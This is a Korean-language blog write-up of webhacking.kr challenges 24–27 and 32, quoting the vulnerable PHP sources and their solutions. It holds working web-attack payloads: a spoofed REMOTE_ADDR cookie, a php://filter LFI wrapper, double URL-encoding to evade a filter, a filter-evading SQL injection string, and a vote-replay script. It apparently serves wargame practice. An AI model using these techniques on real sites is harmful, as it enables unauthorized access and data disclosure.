24번 문제
코드를 보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
extract($_SERVER);
extract($_COOKIE);
$ip = $REMOTE_ADDR;
$agent = $HTTP_USER_AGENT;
if($REMOTE_ADDR){
$ip = htmlspecialchars($REMOTE_ADDR);
$ip = str_replace("..",".",$ip);
$ip = str_replace("12","",$ip);
$ip = str_replace("7.","",$ip);
$ip = str_replace("0.","",$ip);
}
if($HTTP_USER_AGENT){
$agent=htmlspecialchars($HTTP_USER_AGENT);
}
echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
if($ip=="127.0.0.1"){
solve(24);
exit();
}
else{
echo "<hr><center>Wrong IP!</center>";
}
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
해결은 간단하다 ip가 127.0.0.1이면 해결된다. 그럼 해결하기위해 다른 코드들을 해석해보자.
extract함수는 배열의 키값들을 변수화 시킨다. 그리고 $ip 변수에는 $REMOTE_ADDR의 값이 저장되어 있음을 알 수 있다. if절은 $REMOTE_ADDR 값이 존재할 때 실행한다. 또한 .., 12, 7., 0. 을 replace함수를 사용해 치환 시킨다. 즉, REMOTE_ADDR의 변환 값이 127.0.0.1이면 해결이다. 우리는 COOKIE값을 변경할 수 있으니 그것을 이용해보자.
개발자 모드에 들어가 원래 있던 쿠키의 Name을 REMOTE_ADDR로 변경하고 Value에 112277...00...00...1값을 넣었다.
Value에 저런 값을 넣은 이유는 replace함수로 치환되는 것들은 한 번만 치환시키기 때문이다.
쿠키값을 넣은 후 새로고침하면?
해결했다.
25번 문제
URL을 보니 GET방식임을 알 수 있었다. 바로 hello.php를 hello로 입력되어있는데 출력되는 것을 보고 flag를 입력해봤다.
FLAG는 코드안에 있다. 근데 어떻게 볼까싶어 개발자모드도 켜보고 소스코드도 보고했는데 힌트조차 찾을 수 없었다. 구글링해보니 php파일은 php wrapper에서 php://filter를 통해서 다양한 I/O스트림을 다룰 수 있다고 한다. 또한 encode/decode옵션을 사용해서 서버 안에 문서들을 열람할 수 있다. 우리는 encode를 통해서 서버 안에 문서를 열람해보자. 주소/?page=php://filter/convert.base64-encode/resource=파일이름 형식으로 사용할 수 있다.(출처 https://opentutorials.org/module/4291/26819)
LFI(2) - with php wrapper - WEB1
이번 시간에는 php wrapper를 사용한 lfi에 대해 알아보도록 하겠습니다. 우선 wrapper란 실제 데이터의 앞에서 어떤 틀을 잡아 주는 데이터 또는 다른 프로그램이 성공적으로 실행되도록 설정하는
opentutorials.org
따라서 php://filter/convert.base64-encode/resource=flag 를 입력하면
사진과 같이 base64로 인코딩 된 flag값을 알 수 있다. base64 디코딩을 해보자.
flag값을 알았으니 Auth에 flag값을 입력하면
해결했다.
26번 문제
코드를 보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
a { color:lightgreen; }
</style>
</head>
<body>
<?php
if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "admin"){
solve(26);
}
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>
id를 GET방식으로 받고 받은 값이 admin이면 해결된다. preg_match함수로 /admin/을 필터링하고 있으니 admin을 직접 입력은 하지 못한다. 필터링을 피하면 받은 id값을 urldecode한다. 그러면 admin을 인코딩하면 될 것같다. admin url인코더를 사용하면 값이 안나오니 url인코딩 표를 보고 구한 값은 %61%64%6d%69%6e이다. url에 넣었더니
no!가 떴다. 가장 기본적인 것을 간과했는데 서버로 보낼 때 한 번 디코딩해서 보내지는 것이다. 그러니까 인코딩을 한 번 더해야 서버로 넘어간 값이 %61%64%6d%69%6e이 될 것이다. 따라서 %61%64%6d%69%6e을 한 번 더 인코딩했다.
%2561%2564%256D%2569%256E 를 입력하니
해결했다.
27번 문제
코드를 보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
SQL Injection문제다. 우선 id가 admin이면 해결된다. 그러나 preg_match로 많은 것들을 필터링하고 있다. no를 GET방식으로 입력 받는데 받은 no의 id가 guest가 아니면 query error를 출력한다. admin's no = 2라는 주석을 보니 no = 1은 guest인가보다.
맞다. 그럼 no = 2를 해보면
guest가 아니라 query error가 뜬다.
어차피 "select id from chall27 where id='guest' and no=~ 으로 id = guest가 되어있으니 뒤에 no을 2로 입력받으면 되는데(받은no값) 이러한 형식이다. 그러면 or no = 2을 넣게 되면 (or no = 2)가 되어버리니 2 뒤에 #을 넣는다. 그러면 (or no =2# )")) ~~~이 되는데 ( 열린 괄호 하나 남으니 0) or no = 2 #으로 쿼리문을 작성할 수 있겠다. 근데 여기서 preg_match를 생각하여 필터링을 우회하는 것을 생각해보면 공백, 등호, #이 있다. 공백은 %09 (tap을 url인코딩)으로 바꾸고 등호는 like로 바꾼 뒤 #은 -- -으로 바꿀 수 있다. 그러면
0)%09or%09no%09like%092%09--%09-
위와같이 쿼리문을 작성할 수 있다. 보내보자.
해결했다.
32번 문제
클릭하면 ?hit=id로 투표가 된다.
한 번 투표하면 더 안되는 이유를 찾기 위해서 개발자모드를 켜서 쿠키를 봤다.
value에 ok가 있었다. 이것을 지우면 다시 투표를 할 수 있었다. 100번 이 짓을 할 수 없으니 파이썬 스크립트를 간단하게 짜봤다.
import requests
url = "https://webhacking.kr/challenge/code-5/?hit=SlowTurtle"
cookies = {"PHPSESSID" : "mi8fl44ecpi1nfsffb2laop93d"}
for i in range(99) :
requests.get(url, cookies = cookies)
새로고침을 하다가 99에 됐을 때 내가 눌렀더니
해결했다.
'Webhacking-Write-Up > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] 33, 34, 50, 51, 54 문제 (0) | 2023.01.13 |
---|---|
[Webhacking.kr] 16, 17, 19, 20, 23 문제 (0) | 2023.01.12 |
[webhacking.kr] 10, 11, 12, 14, 15 문제 (0) | 2023.01.12 |
[Webhacking.kr] 1,4,5,6,7 문제 (0) | 2023.01.12 |